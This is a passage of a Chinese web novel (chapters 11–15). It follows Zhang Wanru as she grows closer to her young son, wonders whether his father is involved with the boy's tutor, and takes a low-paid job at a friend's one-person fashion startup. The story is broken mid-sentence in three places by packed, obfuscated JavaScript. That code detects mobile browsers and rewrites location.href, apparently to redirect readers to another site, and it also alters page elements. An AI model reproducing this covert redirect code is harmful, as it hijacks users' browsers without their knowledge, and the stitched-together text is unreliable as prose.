回到家中,因为今天的事情,两人的距离拉近了一些,张婉如打算多陪小戎一会儿。她去了小戎房间,房间不大,摆着书桌和一个小书架,靠墙放着一张小床,墙壁上有一些卡通贴纸,张婉如认出是他喜欢看的那部动画人物。 张婉如问道:“小戎要睡了吗?你有睡前听故事的习惯没有?” 小男孩摇摇头,张婉如看了一眼书架,上面放着一些儿童绘本和童话书,从上面随手取下一本儿童读物,她道:“那你要不要在睡前听听我给你读故事。” 他对故事不敢兴趣,可若是妈妈给他讲的话,他很乐意听。 小男孩点点头。 张婉如拉开被子冲他笑笑,“躺上来。” 书架旁边是一个小衣柜,小男孩从衣柜里拿出一套奶牛斑点花纹的睡衣,抱着睡衣却没动作,目光向她看过来,张婉如不解道:“怎么了?” “上床前要先换睡衣。” 张婉如后知后觉反应过来,想到小家伙有些内向害羞,她试探着问道:“那我要先出去回避一下吗?” “不用。”他似有些不好意思,低着头,“你转过头去。” 张婉如忍着笑,将头转到一边,过了一会儿问道:“好了吗?好了我回头咯。” “还没。”他有些急切说道。这小家伙平时话都很少,她第一次听到他用这么急切的声音说话,张婉如觉得可爱,过了一会儿又逗他:“现在呢?” “还要一会儿。” 过了一会儿又听得他说道:“现在好了。” 张婉如转回头,他已经将睡衣换好了,看样子肖秉文将他教得很好,这么小就能自己换衣服了。 小戎爬到床上躺下,盖上被子,眼巴巴望着她,等着她给他讲故事。张婉如在床边坐下,捧着故事书开始讲。张婉如高中的时候还参加过诗朗诵,读起故事来声音清悦,语气丰富。故事被她讲得很生动,小戎也听得很认真。 讲了两个故事,张婉如见他依旧眼巴巴看着她,她问道:“还没困吗?” 小戎摇摇头,张婉如便接着讲,讲了几个故事之后见他还没有要睡的意思,她自我感觉讲得很慢够催眠了啊,这会儿时间已经不早了,张婉如道:“明天周一你得去幼儿园,你还不想睡吗?” 墙上有个挂钟,小戎看了一眼, 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张婉如见他又重新闭上眼,她不明所以,不过这会儿确实不早了,怕影响到他睡觉她便先出了房间。张婉如去卫生间上了个厕所,出来路过客厅时看到客厅里亮着一盏落地台灯,落地台灯临窗,窗边站着个高大的人影,是肖秉文斜靠在窗边抽烟。 小戎和阿姨都已经睡了,客厅就他们二人,台灯不甚明亮的光让她看不清肖秉文的面色,烟雾笼罩着更让他神情显得莫测,她只觉得他的目光好像落在她身上。 或许是太过寂静的夜,他整个人和他的目光都显得那般有存在感。不知为何,心底莫名升起一股恐慌来,来自于多年前那场意外留下的阴影。 张婉如故作镇定,问道:“你还没睡吗?” 肖秉文做过军人,视力极佳,即便光线不甚明亮,她的表情神态还有肢体动作都分毫不差落进他眼中。她瑟缩的目光,还有她那下意识退半步的动作。 他想起那会儿她在老宅待产的时候也是这样,抗拒着他的靠近,甚至连眼神都不愿意给他。多年不见,好像稍微好了一些,最起码能正常跟他说话了,偶尔还挺客气,可她对他依旧保持着距离感。 肖秉文明白,他微低头,一手插进口袋,一手摁灭烟灰,说道:“马上睡了,小戎睡着了?” “嗯睡着了。” 张婉如见他没话说了便打算离开,肖秉文却突然叫住她,张婉如疑惑回头,肖秉文却向她走过来。 夜晚,宽敞的客厅里,这里是属于肖秉文的地盘,而且这个地方只有他们两个人。 张婉如知道肖秉文或许并没有恶意,可身体就是控制不住抗拒。她调整了一下呼吸,想驱散开那股突然漫上来的阴影,然而他却越走越近,伴随着一股压迫感。 就在张婉如下意识想后退的时候,肖秉文却在相对安全的距离停下,随后冲她递来一样东西。 昏暗的灯光下,张婉如目光停留了一会儿才看清,那夹在在手指上的是一张存折。 张婉如一脸不解向他看去,“这个……什么意思?” “给你的,上面存了些钱,你拿去用。” 张婉如:“??????” 12. 第 12 章 张婉如觉得莫名其妙,“为什么要给我这个?” “我平日里工作很忙,你陪伴小戎会比我陪伴他更多,肯定有用钱的地方,这里面的钱你随便用,不够可以告诉我。” 原来如此。 不过想着他人性格就是这样,出手挺大方,张婉如想着那时候她在老宅待产时,吃穿用度他也没少过她。看他对小戎就知道,专门带他出来住,给他请保姆,还专门请了家教,跟在他身边的人就没有委屈了的。 张婉如知道这是他性格使然,也是他看在她是小戎妈妈份上才这么大方,便也没多想,她道:“你不用给我钱,钱我自己也有,而且我说过我会跟你共同抚养小戎,我也该出我自己的一份力,我给小戎花的钱都是我该给他花的。” 肖秉文道:“你不用跟我客气,我开的厂如今走上了正轨,在柳城的企业里虽不说数一数二,但也能排得上号,现在还扩展了海外渠道,来了不少海外订单。我这身家,在像我这么大岁数的企业家里也是独一份了,所以这些钱对于我来说不算什么,你尽管用就是了。” 这话听得张婉如一头雾水,她诧异看了男人一眼,哪有人自负成这样,直接跟别人说他公司发展好,自己身价独一份。她跟肖秉文虽说不熟,好歹也接触过,他不是这种不低调的人。 张婉如道:“你赚得多那也是你的,而我给小戎花的钱该由我来赚,那是我的责任。” 张婉如说完这话就离开了,肖秉文夹着存折的手缓缓收回,他有些纳闷,他能察觉出这丫头经济条件不太好。都告诉她有钱了,她也没什么反应,这里面的钱是多少都不看一眼就不要? 难道不是因为见他条件好了才回来的? 周一小戎要去幼儿园,肖秉文也要去工厂,他会先将小戎送过去。张婉如起来时父子两人正准备出门。 “我跟你们一起吧,正好我也看看小戎的幼儿园在哪里。” 肖秉文道:“也好,你有空的时候也可以去接接他。” 小戎的幼儿园倒是不远,是一个机关单位的幼儿园,肖秉文大概是托了点关系将他送进去的。 车子停在幼儿园门口,张婉如跟他道别,她蹲在他跟前冲他道:“小戎在幼儿园要开心点好不好?” 小孩点点头,张婉如帮他整理了一下书包,随后想到什么,便将他拉到怀中抱了抱。 昨晚临睡前张婉如想着小戎那欲言又止的话,她猜测小戎是不是想让她抱抱他,实际上张婉如也想跟他多亲近,只是她毕竟离开这么多年,缺少了长久陪伴,怕突兀,怕不自然。不过凡事也总有开头,想着他昨日那晶莹的眼睛盛满期待,可最终却也没说出口,总不能次次都让孩子渴求。 当然她也不知道她猜的对不对,将他小小的身体搂进怀中时,她感觉他身体僵硬了一下,可随即一颗小脑袋就靠上她的肩头,很慢很慢的,很轻很轻。一双嫩嫩的小手试探着攀上她的脖颈,像是有什么不确定,随后才像是下定决心般将她抱住,抱得有些紧,带着几许贪恋。 她想,这个拥抱小戎应该是喜欢的。 小戎也没想到她会主动抱他,她的身体香香的软软的,抱上来的时候一股温热袭上来,让他觉得很舒服很温暖。 原来这就是被妈妈抱着的感觉。 张婉如抱着他,拍了拍他的小脑袋。抱了一会儿两人才松开,小男孩有些害羞,怯怯收回手,低着头没看她。张婉如笑了笑站起身,说道:“你放学我来接你好吗?” 他抬头向她看来,目光生亮,满是期待,他问:“真的吗?” “当然。” 告别仪式完成,张婉如下意识向肖秉文看了一眼,就见肖秉文微颔首不知道在想什么,意识到她的目光,他看过来,问道:“怎么了?” “你不抱一下他吗?” “……” 肖秉文向小崽子看了一眼,这……需要抱吗?他们父子之间不搞这些抱来抱去腻歪玩意儿。不过面对张婉如的注视,肖秉文还是蹲下身将小崽子搂在怀中抱了抱。 “要听老师的话知道吗?” “嗯。”小戎轻声应了一句。 看得出来父子两人拥抱的动作透着几分别扭和生硬,肖秉文也没抱多久,站起身轻咳一声说道:“进去吧。” 小戎向两人看了一眼,那一双眼睛依旧亮亮的,转身进去时小脚不自觉颠了一下,看得出来他很开心。 直到看着他进门肖秉文才道:“我先送你回去。” “耽误吗?” “不耽误,没多远。” 张婉如便随他上了车,不想车才没开一会儿就听到他溢出几声笑,张婉如一脸疑惑向他看去,就看到他勾在脸上那没散去的笑容,意识到她的目光他稍微敛了敛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144655|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >张婉如觉得莫名其妙,也没多问,不想没一会儿又听他笑了一声,她又向他看去,这次没收敛,直接对着她勾着嘴角。 “你笑什么?”她终于没忍住问。 他就这般对着她,笑容渐浓,然而却淡淡应了一句,“没什么。” “……” 张婉如将头瞥向一边,心里暗想,不说算了。 车子将她送到小区门口,下车前肖秉文冲她说了一句:“你要是想出门就找赵阿姨拿个备用钥匙,以防赵阿姨没在家。” 不过张婉如回去之后就把这事儿给忘了,她确实是打算出门的,刚搬来这里,还得置办一些生活用品。 弄完已经是下午了,张婉如算了一下时间,去接小戎正好。 到了幼儿园,张婉如说了一下自己的身份,幼儿园老师之前没见过她,肯定不放心让她接走孩子,特意跟肖秉文打了个电话确认,挂断电话之后这才让她跟着去了教室外面。 这会儿已经是放学时间,教室里吵吵嚷嚷的,肖楚戎小朋友却安静坐在座位上,跟周围三三两两吵闹的氛围格格不入。 “肖楚戎,你妈妈来接你了。” 老师在门口说了一句,听到这话安静坐在座位上的小戎目光亮了一下,他急忙向门口望去,果然看到张婉如站在老师身后,见他望过来还冲他笑着招了招手。小戎便也不自觉回以一笑,内向的男孩,笑容也有些腼腆。 正在肖楚戎周围玩闹的几个孩子这会儿也向门外看了一眼,有个小男生问道:“肖楚戎,那个是你妈妈吗?” 旁边一个女孩子道:“肖楚戎你妈妈好漂亮啊。” 另一个男孩道:“是他妈妈吗?他不是没有妈妈吗?” 肖楚戎听到这话,看到张婉如出现亮堂起来的目光暗了一些,他冷冷瞟了一眼那男孩,沉声而坚定说道:“我有妈妈,她就是我妈妈。” 小戎背上书包向妈妈走去,张婉如在门外并没有听到小朋友之间的谈话,见到他便问了一句:“累不累啊?” 小戎摇头,还是有些不敢相信,“你真的来了?” “当然啊,我不是答应过你的吗?” 说着便牵起他的小手,说道:“走吧,回家咯。” 柔软温暖的掌心包裹着他的小手,小戎不自觉笑了笑,小小的手指也拉住她的,他有妈妈的,他以后也有妈妈来接了。 13. 第 13 章 走到幼儿园门口,迎面却遇到一个熟面孔,张婉如两天前见过的还记得,她是小戎的家庭教师。 王华丽看到张婉如也挺意外,“小戎妈妈?你来接小戎了?” “嗯,王老师也来接小戎吗?” “我给小戎上课的时间一般是下午,所以大多数都是我来接他。” 张婉如点了点头,暗想着这家教老师还挺有心的,会帮忙来接学生。 从这里回去还有两站路,几人便一起坐公交,上公交车时,王华丽动作自然将小戎抱起来,而小戎和张婉如牵在一起的手便因此松开了。 公交后排有座位,王华丽将他抱上公交之后便牵着他的手说道:“快走,后面有坐的。” 王华丽将他连拉带拖,小戎只能小跑着跟上,还不忘回头看一眼张婉如跟上没。两人找了个座位坐下,小戎坐下便用目光寻找张婉如,正好后排有座位张婉如便在两人后面坐下。 回去的路上,王华丽一直在跟小戎聊天,看到窗外过了一辆车,王华丽问他:“还记得车子的英文怎么读吗?” “car。” “不错不错还记得。” 王华丽又指了指车窗,“窗户呢?” “window。” “非常棒。” 小戎下意识向后座上的张婉如看了一眼,张婉如也夸奖道:“小戎很厉害,知道这么多英文单词。” 被夸奖了的小戎抿唇笑了笑,这才回过头去。公交车在小区附近停下,几人一起下了车,一下车王华丽就发现小戎的鞋带松了,她蹲下帮他将鞋带系上。 “谢谢王老师。”小戎礼貌说了一句。 王华丽捏了捏他的脸,笑道:“不客气。” 在一旁看着这一幕的张婉如不禁有些羡慕,连家庭教师都能做到这么自然和孩子亲近,而她和孩子抱一抱都怕太突兀了。 不过这也怨不得别人,她这个当妈的毕竟缺失了这么多年。 来到门口,小戎摸了一下胸口,没摸到钥匙,他向张婉如看了一眼,张婉如也没钥匙,她想起肖秉文今早让她找赵阿姨拿一把备用钥匙,她给忘了。 张婉如道:“直接敲门吧,或许赵阿姨在家。” “不用。”王华丽说完,便如变戏法一般神秘兮兮摊开握紧的掌心,里面正躺着一把钥匙,她道:“我这里有。” 说完将门打开,张婉如却很纳闷,一个家庭教师居然还有雇主家家门的钥匙,看样子肖秉文很信任她。 进了屋王华丽便冲张婉如道:“我先去给小荣上课了。” “好。”张婉如应了一声又冲小戎道:“好好跟老师上课。” 小戎点点头,又看了她一眼才随着王华丽进了房间。张婉如回到房间,心底的疑惑却还没散,她总觉得哪里怪怪的。 王华丽作为一个家庭教师,不仅会帮雇主接孩子,还有雇主家家门的钥匙。虽说老师对学生照顾一点也没什么,但看她跟小戎的相处,却太过亲近了。 如果不说,她看上去倒更像是小戎的妈妈。 妈妈…… 不知为何,张婉如突然想到了她曾在肖秉文房间看到的一张合照。那时候她被接到肖家老宅养胎,睡的就是肖秉文的房间,在肖秉文房间中她看过一张合照。应该是肖秉文还在部队时候拍的,他一身军装,周围有好几个同他一样穿着军装的人,应该是他的战友。而最中间站着一个女孩,一身白色的长裙子,在一群军绿色的老爷们中间格外显眼。 女孩正好就站在肖秉文旁边,她不知道这女孩跟肖秉文是什么关系,当然也不关心,只是在看到照片的时候被照片上的女子惊艳了一下,她真的长得很漂亮,五官大气明媚那种漂亮。 肖秉文没交过女朋友,也没听他跟哪个女生在一起过,她唯一见过肖秉文跟异性站在一起就是这张合照。 而且这个女孩和王老师是同一种类型,王老师祖上有英国人血统,她身上也有些混血儿的特征,五官大气深邃,是那种一眼惊艳的美女。 如果当时那张合照上的女孩是肖秉文的女朋友的话,那么王老师这种身材长相的倒是挺符合肖秉文审美的。 肖秉文对王老师这么信任,是不是因为两人在一起了?不过既然他俩在一起了,为什么肖秉文还同意她搬回来跟他们父子一起住,不觉得在一个屋檐下很尴尬吗? 上次看两人的状态好像又不太像,或许并没有在一起,但两人之间多少有点暧昧,只是还没捅破那层窗户纸?这也就可以解释为什么王华丽对小戎格外亲切,跟这个家庭联系的也过分紧密。 如果是这样的话,那么她就不好再继续住在这里了,虽然在外人看来她跟肖秉文在一起过,但两人什么情况彼此都心知肚明。要是肖秉文有暧昧对象,那她得有自知之明一点。当初答应住一起也是因为她暂时没地方住,同时也想尽快弥补这些年离开对小戎的亏欠。如果知道具体情况,她肯定不好意思继续在这里住的。 张婉如打算抽个时间找肖秉文问一下,看看什么情况。 英文课上了一会儿,王华丽会给小戎安排休息时间,让他上上厕所,放松一下眼睛。小戎上完厕所回来,王华丽便故作闲聊问他:“小戎啊,你妈妈这次回来是要跟你们一起住吗?” 小戎点点头。王华丽又道:“你妈妈和爸爸要复合了?” 小戎没说话,沉默了一会儿摇了摇头,王华丽暗中松了一口气,又道:“所以你爸爸妈妈没有复合的打算?” 小戎沉默下来没说话,王华丽也不好问得太多,又道:“小戎从很小就没见过你妈妈吧?这么多年没见,你还记得她吗?” “嗯。”小戎轻声应了一句。 王华丽挺意外,“你还记得?她离开的时候你还小,应该不知道她长什么样吧?” 小戎又沉默下来,王华丽便道:“你妈妈这么多年都没在你身边,小戎你有怪过她吗?” 小戎摇头,王华丽见状沉默了一会儿,问道“那……小戎喜欢她吗?” “嗯。”小戎很坚定应了一句。 听到这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144656|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王华丽笑容淡了一些,不仅不怪他妈妈抛下他离开这么多年,竟然还喜欢他妈妈,王华丽确实挺诧异的。 不过她没再多问,说道:“好的,休息时间到了,我们继续上课。” 今日肖秉文回来得比平日里早一些,小戎的房间靠近客厅,肖秉文回来的动静他自然也听到了,王华丽便带着他出来跟肖秉文打了声招呼。 打完招呼两人又重新回了房间继续上课,肖秉文向走廊最尽头处看了一眼,张婉如的房门关着,不知道人在不在里面。 张婉如听到声音,猜测大概是肖秉文回来了,她一开门正好对上肖秉文看过来的目光。 “你回来了?” 虽然张婉如身上带刺,那刺还总扎得人疼,但其实她平日里说话的声音总是柔柔的。这句话自然也是柔柔的,柔得像春日里温润的溪水。 听着竟有些挠人。 肖秉文收回目光,神色如常应了一句,“嗯回来了。” 他将西装外套脱下,赵阿姨出来给他泡了杯茶,肖秉文打开电视看,声音调到最小,怕影响了小戎学习。 张婉如也走到客厅坐下,肖秉文喝着茶,不由诧异看了她一眼。这会儿客厅就他一个人,张婉茹却跑来跟他一起呆在客厅?还真是稀奇。 “我,有件事情想问你。”张婉如说道。 肖秉文了然,原来是找他有事,他就说嘛,平日里面对他都和他保持距离感的,怎么突然主动靠近了,不过他倒好奇得很,她找他会是什么事。 肖秉文道:“什么事?” 张婉如看了他一眼,便直接问道:“你跟王老师是在交往吗?” 肖秉文喝茶的动作顿住,微眯着眼睛向她看去。这问题太突兀了,而且显得莫名其妙,他和王老师?哪跟哪? 不过让肖秉文真正诧异的还不是这个,而是这问题明显涉及到他的隐私,张婉如什么时候对他的隐私感兴趣了? 肖秉文没有立刻回答,他慢条斯理喝了一口茶,说道:“怎么这么问?” 张婉如道:“今天我去接小戎时,王老师也来接他,平日里也是王老师接小戎的吗?” 肖秉文带着几分打量的目光落在张婉如身上,说道:“王老师过来顺路,就顺便接一下小戎。” 张婉如又道:“我还发现王老师有这里的钥匙。” “王老师没有家里的钥匙,不过小戎有时候没收拾,大概就把钥匙放在王老师那里了。” “这样啊。” 肖秉文心下疑惑,他沉思片刻,眉梢渐渐挑出一抹笑意向她看去,“你就因为这个觉得我在跟王老师交往?” 张婉如道:“我只是觉得奇怪,一个家庭教师还有雇主家的钥匙,我以为钥匙是你给她的,那证明你对她很信任,我就想着你们是不是在交往。如果是的话我住在这里就有点尴尬,所以我想先问清楚,决定要不要搬出去住。” 听到这话肖秉文挑在眉梢的笑意瞬间收敛,语气不自觉凝重了几分,“搬出去住?原来你是这么考虑的?” 14. 第 14 章 倒是符合张婉如要跟他保持距离感的行事风格。 “王老师就只是小戎的家庭教师,跟我没什么关系。”肖秉文目光带着几分试探向她看去,“你现在知道了,还搬吗?” 张婉如道:“如果是这样的话那就不搬了。我也只是想问清楚,就比如后来我才知道你在跟梁文凤相亲,所以我以为你在跟王老师交往但没来记得说。” 肖秉文眉心沉了下来,怎么还扯到相亲的事情上了?不过看她的表情也不像是在嘲讽他,更不可能是计较他相亲的事儿,毕竟张婉如对他这个人都不在意。 虽然这事儿也没什么好解释的,而且张婉如大概率也不是想听他解释,老太太那边可能也跟她说过。 不过肖秉文还是说了一句,“跟梁文凤相亲的事情家里长辈确实提过,不过我没答应。王老师这事儿更是没影,我给钱她工作,就这么简单。” “好,我知道了。” 张婉如说完便起身离开了,看着她离开的身影肖秉文莫名的有点来气,至于在气什么他自己也不清楚。 张婉如生活用品置办得差不多了,她想再出趟门,回到房间换了身衣服,出来时肖秉文还坐在客厅看球赛。 肖秉文见她这模样是要出门的,他落在她身上的目光紧了紧,“你要出门?” “要出去一趟见个人,不过我要先打个电话?可以吗?” 她指了指摆在沙发旁边的座机,肖秉文想笑,怎么还客气成这样? “用吧。” 张婉如按照号码拨过去,电话拨过去没一会儿就接通了,里面传来一道熟悉的女声,“喂,哪位?” “是袁雯女士吗?我是张婉如。” “张婉如?”声音明显拨高了,带着惊喜,“真是张婉如?你怎么会给我打电话?你这个区号怎么是柳城……你来柳城了?” “嗯,我来柳城了,你有没有时间,我想跟你见个面。” 挂断电话张婉如还是对肖秉文说了一句:“我出去了。” 肖秉文本想问点什么,不过以他俩的现状也不该多问,便就只应了一声:“嗯。” 两人约定在一家茶楼见面,张婉如先到点了一杯素茶,大概过了十分钟袁雯也到了。袁雯个子高挑,剪着盖过耳朵的短发,穿一条高腰牛仔裤一件无领的衬衣短袖,短袖下摆在腰上系了个蝴蝶结。 袁雯在张婉如对面坐下,一脸惊喜说到:“真是你啊张婉如,你怎么回柳城了?我记得我上次想劝你回来你死活不肯。” 袁雯是一名服装设计师,这个年代学服装设计的不多,而且袁雯还是那种留过学在国外系统学习过服装设计的。张婉如在增城打工的服装厂是某服装公司的工厂,大概在一年前服装公司的老总打算高薪聘请袁雯来当设计师。 袁雯没有立刻答应,而是提出先到工厂看一看,老板自然是答应了,还亲自带她来工厂参观。在参观工厂时袁雯认识了张婉如,之所以会认识张婉如还是无意间看到了张婉如工位上的设计图纸。 那时候袁雯觉得设计得不错,就简单跟张婉如聊了几句,张婉如也没当回事,没想到过了两天袁雯找上她,说是跟服装公司的老板谈崩了,她打算自己开个公司,想挖张婉如过去做设计师。 也就是那时袁雯知道了张婉如是柳城人,她觉得更有缘分了。她们都是柳城的,可以一起回柳城发展。 那时候张婉如还怀着这辈子都不会再踏足柳城的想法,自然是拒绝了袁雯的提议。袁雯有些失望,在离开前留了她的号码,告诉她如果哪一天她改变主意了就联系她。张婉如随手将她的名片夹在了那堆设计稿中,好在这么久还没弄丢,本以为这辈子都不会打这个电话的,没想到有一天还真用上了。 张婉如道:“因为家里有事所以就回来了。” “那你还回增城吗?以后就留在柳城发展?” “目前是打算留在柳城。” “你找工作了吗?你要是还没找工作的话,就来跟我一起干吧。” 袁雯态度热切,就像当时意图挖她去她公司那般,给张婉如一种跟着她混会有肉吃的感觉。张婉如这次来找她也是为了这事儿,她也不扭捏,说道:“我还没找工作,想先在你这边看看情况。” “我这边的情况很简单,就目前我公司还在发展阶段,你要是能加入就可以成为公司元老,将来公司做大做强了,你作为公司元老,分红肯定是少不了的。” 听上去好像挺诱惑的,不过张婉如更多的是考虑现实问题,她道:“那薪资和工作时间怎么算?” “薪资嘛……”袁雯喝了一口茶,犹豫了片刻说道:“你知道的嘛,公司刚发展,工资肯定不会太高的。” “大概能给多少?” 张婉如想着别比她在工厂低就行。 袁雯沉默了一会儿说道:“目光公司还在发展阶段,还没走上正轨,不过我确实也挺看好你,你很有才华,设计有想法有灵性。这样吧,我给你300块一个月。当然这只是前期工资,后期公司发展平稳了,工资肯定是要涨的,到时候上千块几千块一个月也不是没有可能。” 张婉如在衣服厂上班,工资加上提成多的时候能有四百五十块,就算再低也没有低于三百五十块的,就算她把未来说得天花乱坠,但三百一个月确实太少了。 张婉如有些失望,不过她倒也没有立刻拒绝,虽说现阶段工资低,但也要参考一下前景再考虑,所以张婉如道:“我能去贵公司参观一下吗?” 袁雯犹豫了片刻,很快便又一脸爽快说道:“当然。” 袁雯开了一辆车来,是一辆桑塔纳,车子看着有些旧,不过再旧这也是一辆进口轿车。好歹还是有老板的派头,张婉如便放了些心。 车子开了大概半个小时左右,进了柳城的老城区。一般来说公司都是往城郊建,张婉如有些疑惑,袁雯的公司怎么还开在老城区?而且车子直接从大路开进了一条小巷,两侧都是老城区低矮破旧的楼房,怎么还跑居民区来了? 车子七弯八拐地在巷子里转了几个弯,随后在稍微僻静一些的地方停下,老城区的房子好多都还是木质结构,有些人家又用了些砖头加固,砖头和木板相结合,显得不伦不类的。眼下她们就停在这样一排低矮的房屋前。却见袁雯下了车,走到那一排低矮的房屋前,将其中一间门打开,冲她示意了一句:“进来吧。” 张婉如怀着几分忐忑几分好奇进了房子,里面倒是很宽敞,两侧都有窗户,采光也还不错。地上打着三合土,墙面也简单粉刷了一下,倒没有外面看着那么旧。房子里七七八八放着几个塑料模特,模特身上穿着各式衣服,有一些衣服还没缝制完工。 正前方用几张方桌拼凑出一张大桌子,桌上凌乱摆放了些画纸和颜料还有各色布匹针线等,侧面有一台缝纫机,墙角处还堆了几个凌乱的颜料罐。 全部看下来,哪里有半点公司的样子啊,张婉如忍不住问出自己的疑惑,“这就是你的公司?” “是啊。”袁雯冲她指了指那拼凑的大桌子,“这是我的办公桌。”再指一下缝纫机和几个模特,“这是我的工作间。” “也就是说,你目前还没有自己的工厂?” “哪有那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144657|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,我都说了公司还在起步阶段。” “那我冒昧问一下啊,现在公司有几名员工啊?” “原本就我一个,你要是加入的话,我们公司就有两个了。” “……” 张婉如深深吸了一口气,目光复杂看了她一眼,有那么一刻她甚至在怀疑这个人是不是骗子。 袁雯双手抱胸,眉头一挑,“你这眼神该不会是在怀疑我是骗子吧。” “……” 张婉如小心思被戳穿,忙道:“没有。” “没事儿。”袁雯倒是挺大方,没太当回事,“本来之前还招过几个人的,不过大概也觉的我是骗子,没干两天就跑了。” 张婉如觉得跑才是正常人吧。 袁雯道:“反正呢,我公司什么样我给你看的就是怎么样,工资说多少也是多少,我觉得我态度也是挺真诚的了,你呢?你怎么想?” “我想先考虑一下。” 这话算是委婉的拒绝了,袁雯也明白,她道:“没事儿,你好好考虑,那我先送你回去?” “不用了,我坐公交车就行。” 袁雯听到这便也没坚持送,这边公交车也好赶,现在是六点,回去正好可以赶上晚饭。 王华丽上完课之后便告辞离开了,正好这会儿是动画片时间,小戎坐在肖秉文身边,拿过遥控器调到少儿频道,动画片刚刚开始。 肖秉文球赛被打断了也没生气,这小子也就这点爱好了,他都由着他。他靠坐在沙发上,摸了摸他脑袋问道:“今天是你妈去接你的?” “嗯。” “开心吗?” “嗯。” 想着方才张婉如说的话,肖秉文沉默了一会儿,冲小戎问了一句:“王老师教了你两年了对吧?” 小戎点了点头,肖秉文又问:“王老师对你好吗?” 小戎又点头,肖秉文又问:“那你喜欢王老师吗?” 小戎想了想,点头,肖秉文道:“如果我把王老师辞退了,你会难过吗?” 小戎转头向他看过来,问了一句:“为什么?” 这惜字如金的儿子主动开口询问,看样子确实是喜欢王老师的。肖秉文用拇指和食指揉了揉眉心,想着该怎么跟儿子解释。思索片刻干脆还是实话实说,他道:“因为你妈妈好像误会了,误会我跟王老师在交往。” 对上儿子疑惑的目光,肖秉文道:“你能明白吗?” 小戎摇了摇头。 肖秉文又道:“那你知道交往是什么意思吧?” 小戎思索了片刻,他问:“妈妈为什么会误会?” “这个……我也说不清楚,反正现在她是误会了。” 小戎沉默下来。 肖秉文又道:“所以现在得解开这个误会。” “要把王老师辞掉?” “嗯。” 小戎又沉默了一会儿问道:“如果妈妈误会你跟王老师在一起,是不是你们就不可能会复合了?” 肖秉文半握拳抵在唇边轻咳一声,面对儿子真诚的目光,他有些心虚,说道:“嗯,可以这么说。” 小戎沉默了一会儿,说道:“那听你的。” “嗯?你也同意我辞退王老师?” 小戎点头。 “你不会难过吗?” “有一点。”小戎如实说道,王老师确实对他很好,随后低头,小声说了一句,“可是我不想她再离开了。” 他口中的那个她肖秉文当然知道指的是谁,他揉了揉儿子的脑袋,说道:“放心,我不会再让她离开的。” 15. 第 15 章 正好这会儿动画片中途插播广告,小戎不知道想到什么,突然从茶几下面的抽屉里拿出那个玩具车抱在怀中。 肖秉文瞟了一眼说道:“怎么还没拆封?要不要我帮你拆?” 玩具车被他抱得更紧,坚定拒绝,“不要。” “还宝贝成这样?” 小戎没说话。 肖秉文倒也没强求,不给拆就算了。 张婉如回去时正好赶上跟父子两一起吃晚饭,晚上张婉如依旧去给小戎读故事书给他唱催眠曲,不过短短几天相处,两人距离拉近了一些。小戎听她讲故事时,身体会下意识往她身边靠靠,轻轻贴在她身上,动作间依旧还透着几分试探和小心翼翼,张婉如见状,直接将他往怀中一搂,把他小身板搂在怀中给他读。 小戎从她怀中探头看她,目光透着几分愉悦,几分惊喜,亮堂堂的。 第二日一早张婉如和肖秉文一起将小戎送到幼儿园,离开前张婉如照常是抱了抱他,抱完起身见肖秉文没动,就看了他一眼。 肖秉文反应过来,虽然觉得大老爷们儿之间抱来抱去的显得有些娘,但也不想显得不合群,便也蹲下,父子俩略显别扭抱了一下。随后张婉如上了肖秉文的车,肖秉文先将她送回家。 回去之后张婉如也没什么事可做,便打算出门找找工作。柳城是一个工业大市,化工类的厂倒是挺多的,服装厂却很少,张婉如去问了几家,工资都不高,而且上班时间还长,要接送孩子是不可能的。 虽说这个年代大学生还很稀缺,张婉如一个有高中文凭的也足够了,随便都可以去找个文员的工作,不过当文员工资太少,而且工作太死板,她也不太喜欢,做衣服好歹是手艺活,她也挺有兴趣。 思来想去她觉得可以去找袁雯谈谈,虽然工资低一点,但说不准能谈一下条件。张婉如找了个公用电话给袁雯打了个电话约她见面。两人见面的地点就在那间破旧的老房子,严格来说那是袁雯口中的公司。 张婉如也没废话,见面之后就说了一下自己的要求,她可以跟着她做,工资也能接受,但上班时间从早上九点半到下午三点,因为她早上送完孩子过去差不多九点半,下午三点半过去,三点半正好接孩子。中午给她一个小时的吃饭时间就可以。 袁雯听完之后思索了片刻,打了个响指,冲她伸出手,“欢迎加入其乐。” 袁雯公司名就叫其乐。张婉如跟她握了握手,试探着问:“那个……要签职工合同吗?” 袁雯道:“那当然,你别看我这地方简陋,我这可是正规公司,工商部门注册过的。” 张婉如听到这话松了一口气,工作便算是妥了,她请袁雯吃了顿饭,袁雯也没客气。吃饭间袁雯便跟她说了一下公司的发展规划,例如,学习国外各大品牌发展体系,用自己制造自己销售的模式,要把公司打造成亚洲出色的服装品牌,成为东方香奶奶。 